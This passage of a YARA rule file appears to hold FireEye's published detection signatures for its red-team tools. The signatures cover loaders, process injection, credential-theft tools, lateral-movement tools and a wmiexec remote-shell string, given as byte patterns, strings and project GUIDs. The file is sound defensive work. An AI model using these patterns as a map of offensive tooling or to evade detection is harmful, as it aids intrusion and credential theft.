		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "29b2a410-bcc4-58df-b192-7a413b3db1c0"

	strings:
		$typelibguid0 = "cf27abf4-ef35-46cd-8d0c-756630c686f1" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule Trojan_Win64_Generic_22
{
	meta:
		description = "Detects FireEye's Windows Trojan"
		date = "2020-11-26"
		modified = "2020-11-26"
		md5 = "f7d9961463b5110a3d70ee2e97842ed3"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "e79661a8-5254-5e8e-b92b-edf1ddb072ff"

	strings:
		$api1 = "VirtualAllocEx" fullword
		$api2 = "UpdateProcThreadAttribute" fullword
		$api3 = "DuplicateTokenEx" fullword
		$api4 = "CreateProcessAsUserA" fullword
		$inject = { C7 44 24 20 40 00 00 00 33 D2 41 B9 00 30 00 00 41 B8 [4] 48 8B CB FF 15 [4] 48 8B F0 48 85 C0 74 ?? 4C 89 74 24 20 41 B9 [4] 4C 8D 05 [4] 48 8B D6 48 8B CB FF 15 [4] 85 C0 75 [5-10] 4C 8D 0C 3E 48 8D 44 24 ?? 48 89 44 24 30 44 89 74 24 28 4C 89 74 24 20 33 D2 41 B8 [4] 48 8B CB FF 15 }
		$process = { 89 74 24 30 ?? 8D 4C 24 [2] 89 74 24 28 33 D2 41 B8 00 00 02 00 48 C7 44 24 20 08 00 00 00 48 8B CF FF 15 [4] 85 C0 0F 84 [4] 48 8B [2-3] 48 8D 45 ?? 48 89 44 24 50 4C 8D 05 [4] 48 8D 45 ?? 48 89 7D 08 48 89 44 24 48 45 33 C9 ?? 89 74 24 40 33 D2 ?? 89 74 24 38 C7 44 24 30 04 00 08 00 [0-1] 89 74 24 28 ?? 89 74 24 20 FF 15 }
		$token = { FF 15 [4] 4C 8D 44 24 ?? BA 0A 00 00 00 48 8B C8 FF 15 [4] 85 C0 0F 84 [4] 48 8B 4C 24 ?? 48 8D [2-3] 41 B9 02 00 00 00 48 89 44 24 28 45 33 C0 C7 44 24 20 02 00 00 00 41 8D 51 09 FF 15 [4] 85 C0 0F 84 [4] 45 33 C0 4C 8D 4C 24 ?? 33 C9 41 8D 50 01 FF 15 }

	condition:
		(( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) ) and all of them
}

rule Loader_Win_Generic_19
{
	meta:
		description = "Detects generic Windows loader"
		date = "2020-12-02"
		modified = "2020-12-02"
		md5 = "3fb9341fb11eca439b50121c6f7c59c7"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "4f4427ee-0f7d-5442-98a6-402d8b797289"

	strings:
		$s0 = { 8B [1-16] 89 [1-16] E8 [4-32] F3 A4 [0-16] 89 [1-8] E8 }
		$s1 = { 83 EC [1-16] 04 00 00 00 [1-24] 00 30 00 00 [1-24] FF 15 [4-16] EB [16-64] 20 00 00 00 [0-8] FF 15 [4-32] C7 44 24 ?? 00 00 00 00 [0-8] C7 44 24 ?? 00 00 00 00 [0-16] FF 15 }
		$si1 = "VirtualProtect" fullword
		$si2 = "malloc" fullword

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule APT_Builder_PY_REDFLARE_1
{
	meta:
		description = "Detects FireEye's Python Redflar"
		date = "2020-11-27"
		modified = "2020-11-27"
		md5 = "d0a830403e56ebaa4bfbe87dbfdee44f"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "3b5ad25d-ce66-572e-9a91-40a73b8fd447"

	strings:
		$1 = "LOAD_OFFSET_32 = 0x612"
		$2 = "LOAD_OFFSET_64 = 0x611"
		$3 = "class RC4:"
		$4 = "struct.pack('<Q' if is64b else '<L'"
		$5 = "stagerConfig['comms']['config']"
		$6 = "_x86.dll"
		$7 = "_x64.dll"

	condition:
		all of them and @1 [ 1 ] < @2 [ 1 ] and @2 [ 1 ] < @3 [ 1 ] and @3 [ 1 ] < @4 [ 1 ] and @4 [ 1 ] < @5 [ 1 ]
}

rule HackTool_PY_ImpacketObfuscation_2
{
	meta:
		description = "Detects FireEye's wmiexec impacket obfuscation"
		date = "2020-12-01"
		modified = "2020-12-01"
		md5 = "f3dd8aa567a01098a8a610529d892485"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "f1059f66-eaff-5866-bafb-c94236cf96a0"

	strings:
		$s1 = "import random"
		$s2 = "class WMIEXEC" nocase
		$s3 = "class RemoteShell" nocase
		$s4 = /=[\x09\x20]{0,32}str\(int\(time\.time\(\)\)[\x09\x20]{0,32}-[\x09\x20]{0,32}random\.randint\(\d{1,10}[\x09\x20]{0,32},[\x09\x20]{0,32}\d{1,10}\)\)[\x09\x20]{0,32}\+[\x09\x20]{0,32}str\(uuid\.uuid4\(\)\)\.split\([\x22\x27]\-[\x22\x27]\)\[0\]/
		$s5 = /self\.__shell[\x09\x20]{0,32}=[\x09\x20]{0,32}[\x22\x27]cmd.exe[\x09\x20]{1,32}\/q[\x09\x20]{1,32}\/K [\x22\x27]/ nocase

	condition:
		all of them
}

rule APT_Loader_MSIL_PGF_2
{
	meta:
		date = "2020-11-25"
		modified = "2020-11-25"
		description = "base.js, ./lib/payload/techniques/jscriptdotnet/jscriptdotnet_payload.py"
		md5 = "7c2a06ceb29cdb25f24c06f2a8892fba"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "c5f2ec90-cd9b-53ce-893b-e44192fcd507"

	strings:
		$sb1 = { 2? 00 10 00 00 0A 1? 40 0? 72 [4] 0? 0? 28 [2] 00 0A 0? 03 28 [2] 00 0A 74 [2] 00 01 6F [2] 00 0A 03 1? 0? 74 [2] 00 01 28 [2] 00 0A 6? 0? 0? 28 [2] 00 06 D0 [2] 00 01 28 [2] 00 0A 1? 28 [2] 00 0A 79 [2] 00 01 71 [2] 00 01 13 ?? 0? 1? 11 ?? 0? 74 [2] 00 01 28 [2] 00 0A 28 [2] 00 0A 7E [2] 00 0A 13 ?? 1? 13 ?? 7E [2] 00 0A 13 ?? 03 28 [2] 00 0A 74 [2] 00 01 6F [2] 00 0A 03 1? 1? 11 ?? 11 ?? 1? 11 ?? 28 [2] 00 06 }
		$ss1 = "\x00CreateThread\x00"
		$ss2 = "\x00ScriptObjectStackTop\x00"
		$ss3 = "\x00Microsoft.JScript\x00"

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule APT_HackTool_MSIL_SHARPSQLCLIENT_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpsqlclient' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "4d526c36-f56f-53cf-9bdf-b7a15619eb41"

	strings:
		$typelibguid0 = "13ed03cd-7430-410d-a069-cf377165fbfd" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule Methodology_OLE_CHARENCODING_2
{
	meta:
		description = "Looking for suspicious char encoding"
		md5 = "41b70737fa8dda75d5e95c82699c2e9b"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "7abd1a11-7a55-50ac-aa6b-537e7c59a5ab"

	strings:
		$echo1 = "101;99;104;111;32;111;102;102;" ascii wide
		$echo2 = "101:99:104:111:32:111:102:102:" ascii wide
		$echo3 = "101x99x104x111x32x111x102x102x" ascii wide
		$pe1 = "77;90;144;" ascii wide
		$pe2 = "77:90:144:" ascii wide
		$pe3 = "77x90x144x" ascii wide
		$pk1 = "80;75;3;4;" ascii wide
		$pk2 = "80:75:3:4:" ascii wide
		$pk3 = "80x75x3x4x" ascii wide

	condition:
		( uint32( 0 ) == 0xe011cfd0 ) and filesize < 10MB and any of them
}

rule HackTool_MSIL_SharpHound_3
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public SharpHound3 project."
		md5 = "eeedc09570324767a3de8205f66a5295"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "456b3208-1e8d-5eb7-81ee-39f1c886c5a7"

	strings:
		$typelibguid1 = "A517A8DE-5834-411D-ABDA-2D0E1766539C" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1
}

rule CredTheft_MSIL_TitoSpecial_2
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the TitoSpecial project. There are 2 GUIDs in this rule as the x86 and x64 versions of this tool use a different ProjectGuid."
		md5 = "4bf96a7040a683bd34c618431e571e26"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "0262c720-e6b8-5bf2-a242-19a7f044973f"

	strings:
		$typelibguid1 = "C6D94B4C-B063-4DEB-A83A-397BA08515D3" ascii nocase wide
		$typelibguid2 = "3b5320cf-74c1-494e-b2c8-a94a24380e60" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( $typelibguid1 or $typelibguid2 )
}

rule CredTheft_MSIL_WCMDump_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'WCMDump' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "22796ccb-a01e-59d8-8c3a-6cbb62899940"

	strings:
		$typelibguid0 = "21e322f2-4586-4aeb-b1ed-d240e2a79e19" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule APT_Builder_Win64_MATRYOSHKA_1
{
	meta:
		date = "2020-12-02"
		modified = "2020-12-02"
		description = "Detects builder matryoshka_pe_to_shellcode.rs"
		md5 = "8d949c34def898f0f32544e43117c057"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "0afcf13e-5cd3-5c1c-897e-b6d0c283ab0f"

	strings:
		$sb1 = { 4D 5A 45 52 [0-32] E8 [0-32] 00 00 00 00 [0-32] 5B 48 83 EB 09 53 48 81 [0-32] C3 [0-32] FF D3 [0-32] C3 }
		$ss1 = "\x00Stub Size: "
		$ss2 = "\x00Executable Size: "
		$ss3 = "\x00[+] Writing out to file"

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them
}

rule Trojan_Win64_Generic_23
{
	meta:
		description = "Detects FireEye's Windows trojan"
		date = "2020-12-02"
		modified = "2020-12-02"
		md5 = "b66347ef110e60b064474ae746701d4a"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "470bfeed-e000-58c6-b115-dfa8aea25bef"

	strings:
		$api1 = "VirtualAllocEx" fullword
		$api2 = "UpdateProcThreadAttribute" fullword
		$api3 = "DuplicateTokenEx" fullword
		$api4 = "CreateProcessAsUserA" fullword
		$inject = { 8B 85 [4] C7 44 24 20 40 00 00 00 41 B9 00 30 00 00 44 8B C0 33 D2 48 8B 8D [4] FF 15 [4] 48 89 45 ?? 48 83 7D ?? 00 75 ?? 48 8B 45 ?? E9 [4] 8B 85 [4] 48 C7 44 24 20 00 00 00 00 44 8B C8 4C 8B 85 [4] 48 8B 55 ?? 48 8B 8D [4] FF 15 [4] 85 C0 75 ?? 48 8B 45 ?? EB ?? 8B 85 [4] 48 8B 4D ?? 48 03 C8 48 8B C1 48 89 45 48 48 8D 85 [4] 48 89 44 24 30 C7 44 24 28 00 00 00 00 48 8B 85 [4] 48 89 44 24 20 4C 8B 4D ?? 41 B8 00 00 10 00 33 D2 48 8B 8D [4] FF 15 }
		$process = { 48 C7 44 24 30 00 00 00 00 48 C7 44 24 28 00 00 00 00 48 C7 44 24 20 08 00 00 00 4C 8D 8D [4] 41 B8 00 00 02 00 33 D2 48 8B 8D [4] FF 15 [4] 85 C0 75 ?? E9 [4] 48 8B 85 [4] 48 89 85 [4] 48 8D 85 [4] 48 89 44 24 50 48 8D 85 [4] 48 89 44 24 48 48 C7 44 24 40 00 00 00 00 48 C7 44 24 38 00 00 00 00 C7 44 24 30 04 00 08 00 C7 44 24 28 00 00 00 00 48 C7 44 24 20 00 00 00 00 45 33 C9 4C 8D 05 [4] 33 D2 48 8B [2-5] FF 15 }
		$token = { FF 15 [4] 4C 8D 45 ?? BA 0A 00 00 00 48 8B C8 FF 15 [4] 85 C0 75 ?? E9 [4] 48 8D [2-5] 48 89 44 24 28 C7 44 24 20 02 00 00 00 41 B9 02 00 00 00 45 33 C0 BA 0B 00 00 00 48 8B 4D ?? FF 15 [4] 85 C0 75 ?? E9 [4] 4C 8D 8D [4] 45 33 C0 BA 01 00 00 00 33 C9 FF 15 }

	condition:
		(( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) ) and all of them
}

rule HackTool_MSIL_KeePersist_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'KeePersist' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "950a4744-2696-5eb7-8524-7f689cb5dbb0"

	strings:
		$typelibguid0 = "1df47db2-7bb8-47c2-9d85-5f8d3f04a884" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule Tool_MSIL_CSharpUtils_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'CSharpUtils' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "a0e8c45a-759a-5611-aa2a-3113a75fb651"

	strings:
		$typelibguid0 = "2130bcd9-7dd8-4565-8414-323ec533448d" ascii nocase wide
		$typelibguid1 = "319228f0-2c55-4ce1-ae87-9e21d7db1e40" ascii nocase wide
		$typelibguid2 = "4471fef9-84f5-4ddd-bc0c-31f2f3e0db9e" ascii nocase wide
		$typelibguid3 = "5c3bf9db-1167-4ef7-b04c-1d90a094f5c3" ascii nocase wide
		$typelibguid4 = "ea383a0f-81d5-4fa8-8c57-a950da17e031" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule Trojan_MSIL_GORAT_Module_PowerShell_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'RedFlare - Module - PowerShell' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "b0fba130-9cd9-5b7f-a806-9ff8099f5731"

	strings:
		$typelibguid0 = "38d89034-2dd9-4367-8a6e-5409827a243a" ascii nocase wide
		$typelibguid1 = "845ee9dc-97c9-4c48-834e-dc31ee007c25" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HackTool_MSIL_PuppyHound_1
{
	meta:
		description = "This is a modification of an existing FireEye detection for SharpHound. However, it looks for the string 'PuppyHound' instead of 'SharpHound' as this is all that was needed to detect the PuppyHound variant of SharpHound."
		md5 = "eeedc09570324767a3de8205f66a5295"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "1155f959-c8bc-597a-8a80-abee8d95b6ec"

	strings:
		$1 = "PuppyHound"
		$2 = "UserDomainKey"
		$3 = "LdapBuilder"
		$init = { 28 [2] 00 0A 0A 72 [2] 00 70 1? ?? 28 [2] 00 0A 72 [2] 00 70 1? ?? 28 [2] 00 0A 28 [2] 00 0A 0B 1F 2D }
		$msil = /\x00_Cor(Exe|Dll)Main\x00/

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule APT_Builder_PY_MATRYOSHKA_1
{
	meta:
		description = "Detects FireEye's Python MATRYOSHKA tool"
		date = "2020-12-02"
		modified = "2020-12-02"
		md5 = "25a97f6dba87ef9906a62c1a305ee1dd"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "0135f3bb-28b3-5fc4-85a2-b12c46c8bc45"

	strings:
		$s1 = ".pop(0)])"
		$s2 = "[1].replace('unsigned char buf[] = \"'"
		$s3 = "binascii.hexlify(f.read()).decode("
		$s4 = "os.system(\"cargo build {0} --bin {1}\".format("
		$s5 = "shutil.which('rustc')"
		$s6 = "~/.cargo/bin"
		$s7 = /[\x22\x27]\\\\x[\x22\x27]\.join\(\[\w{1,64}\[\w{1,64}:\w{1,64}[\x09\x20]{0,32}\+[\x09\x20]{0,32}2\]/

	condition:
		all of them
}

rule Loader_MSIL_RuralBishop_1b
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public RuralBishop project."
		md5 = "09bdbad8358b04994e2c04bb26a160ef"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "55a060ef-74e2-50d9-9090-558aaa04d97d"

	strings:
		$typelibguid1 = "FE4414D9-1D7E-4EEB-B781-D278FE7A5619" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1
}

rule APT_HackTool_MSIL_NOAMCI_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'noamci' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "48066258-528f-5a70-81e1-15d6dfd9ff4f"

	strings:
		$typelibguid0 = "7bcccf21-7ecd-4fd4-8f77-06d461fd4d51" ascii nocase wide
		$typelibguid1 = "ef86214e-54de-41c3-b27f-efc61d0accc3" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HackTool_MSIL_PXELOOT_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the PXE And Loot project."
		md5 = "82e33011ac34adfcced6cddc8ea56a81"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "5a72a6ff-bae4-57f5-a19b-a4595ac57293"

	strings:
		$typelibguid1 = "78B2197B-2E56-425A-9585-56EDC2C797D6" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and $typelibguid1
}

rule APT_HackTool_MSIL_ADPassHunt_2
{
	meta:
		description = "Detects FireEye's ADPassHunt tool"
		date = "2020-12-02"
		modified = "2020-12-02"
		md5 = "6efb58cf54d1bb45c057efcfbbd68a93"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "a3b12fd7-e82d-5ef0-9125-7c069cd9bec4"

	strings:
		$s1 = "LDAP://" wide
		$s2 = "[GPP] Searching for passwords now..." wide
		$s3 = "Searching Group Policy Preferences (Get-GPPPasswords + Get-GPPAutologons)!" wide
		$s4 = "possibilities so far)..." wide
		$s5 = "\\groups.xml" wide
		$s6 = "Found interesting file:" wide
		$s7 = "\x00GetDirectories\x00"
		$s8 = "\x00DirectoryInfo\x00"

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule APT_HackTool_MSIL_ADPassHunt_1
{
	meta:
		description = "Detects FireEye's ADPassHunt tool"
		date = "2020-12-02"
		modified = "2020-12-02"
		md5 = "6efb58cf54d1bb45c057efcfbbd68a93"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "736b5300-215b-5314-9234-69ff0050b73e"

	strings:
		$sb1 = { 73 [2] 00 0A 0A 02 6F [2] 00 0A 0B 38 [4] 12 ?? 28 [2] 00 0A 0? 73 [2] 00 0A 0? 0? 0? 6F [2] 00 0A 1? 13 ?? 72 [4] 13 ?? 0? 6F [2] 00 0A 72 [4] 6F [2] 00 0A 1? 3B [4] 11 ?? 72 [4] 28 [2] 00 0A 13 ?? 0? 72 [4] 6F [2] 00 0A 6F [2] 00 0A 13 ?? 38 [4] 11 ?? 6F [2] 00 0A 74 [2] 00 01 13 ?? 11 ?? 72 [4] 6F [2] 00 0A 2C ?? 11 ?? 72 [4] 11 ?? 6F [2] 00 0A 72 [4] 6F [2] 00 0A 6F [2] 00 0A 72 [4] 28 [2] 00 0A }
		$sb2 = { 02 1? 8D [2] 00 01 [0-32] 1? 1F 2E 9D 6F [2] 00 0A 72 [4] 0A 0B 1? 0? 2B 2E 0? 0? 9A 0? 0? 72 [4] 6F [2] 00 0A 2D ?? 06 72 [4] 28 [2] 00 0A 0A 06 72 [4] 0? 28 [2] 00 0A 0A 0? 1? 58 0? 0? 0? 8E 69 32 CC 06 2A }

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule APT_HackTool_MSIL_SHARPSACK_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'sharpsack' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "8e344acb-73c4-5509-be9d-85cf6fe94445"

	strings:
		$typelibguid0 = "1946808a-1a01-40c5-947b-8b4c3377f742" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule APT_Loader_Win64_PGF_5
{
	meta:
		description = "PGF payload, generated rule based on symfunc/8167a6d94baca72bac554299d7c7f83c"
		md5 = "150224a0ccabce79f963795bf29ec75b"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "4fa4a1d6-cb63-582d-801c-b4c89c44d9ca"

	strings:
		$cond1 = { 4C 89 44 24 18 89 54 24 10 48 89 4C 24 08 48 83 EC 38 48 8B 4C 24 40 FF 15 13 FA FF FF 8B 44 24 48 89 44 24 20 83 7C 24 20 01 74 02 EB 17 48 8B 44 24 40 48 89 05 66 23 00 00 48 8B 4C 24 40 FF 15 EB F9 FF FF B8 01 00 00 00 48 83 C4 38 C3 }
		$cond2 = { 4C 89 44 24 18 89 54 24 10 48 89 4C 24 08 48 83 EC 38 48 8B 4C 24 40 FF 15 A3 FA FF FF 8B 44 24 48 89 44 24 20 83 7C 24 20 01 74 02 EB 17 48 8B 44 24 40 48 89 05 F6 20 00 00 48 8B 4C 24 40 FF 15 7B FA FF FF B8 01 00 00 00 48 83 C4 38 C3 }
		$cond3 = { 4C 89 44 24 18 89 54 24 10 48 89 4C 24 08 48 83 EC 38 48 8B 4C 24 40 FF ?? ?? ?? ?? ?? 8B 44 24 48 89 44 24 20 83 7C 24 2? ?1 74 ?? EB ?? 48 8B 44 24 40 48 ?? ?? ?? ?? ?? ?? 48 8B 4C 24 40 FF ?? ?? ?? ?? ?? B8 01 ?? ?? ?? 48 83 C4 38 C3 }
		$cond4 = { 4C 89 44 24 ?? 89 54 24 ?? 48 89 4C 24 ?? 48 83 EC 38 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 83 7C 24 ?? 01 74 ?? EB ?? 48 8B 44 24 ?? 48 89 05 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? B8 01 00 00 00 48 83 C4 38 C3 }

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and any of them
}

rule APT_Trojan_Win_REDFLARE_2
{
	meta:
		description = "Detects FireEye's REDFLARE tool"
		date = "2020-11-27"
		modified = "2020-11-27"
		md5 = "9529c4c9773392893a8a0ab8ce8f8ce1,05b99d438dac63a5a993cea37c036673"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "84881e5c-05df-5911-af42-ec82e559588c"

	strings:
		$1 = "initialize" fullword
		$2 = "getData" fullword
		$3 = "putData" fullword
		$4 = "fini" fullword
		$5 = "Cookie: SID1=%s" fullword

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule APT_HackTool_MSIL_DTRIM_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'dtrim' project, which is a modified version of SharpSploit."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "9be695a1-6d18-5952-974c-96a30f035e7a"

	strings:
		$typelibguid0 = "7760248f-9247-4206-be42-a6952aa46da2" ascii nocase wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HackTool_MSIL_SharPivot_2
{
	meta:
		description = "Detects FireEye's SharPivot tool"
		md5 = "e4efa759d425e2f26fbc29943a30f5bd"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
		id = "8d6d28ce-de3a-5a38-b654-ba1372d47568"

	strings:
		$s1 = "costura"
		$s2 = "cmd_schtask" wide
		$s3 = "cmd_wmi" wide
		$s4 = "cmd_rpc" wide
		$s5 = "GoogleUpdateTaskMachineUA" wide
		$s6 = "servicehijack" wide
		$s7 = "poisonhandler" wide

	condition:
		( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule APT_HackTool_MSIL_REVOLVER_1
{
	meta:
		description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'revolver' project."
		md5 = "dd8805d0e470e59b829d98397507d8c2"
		reference = "https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html"
		author = "FireEye"
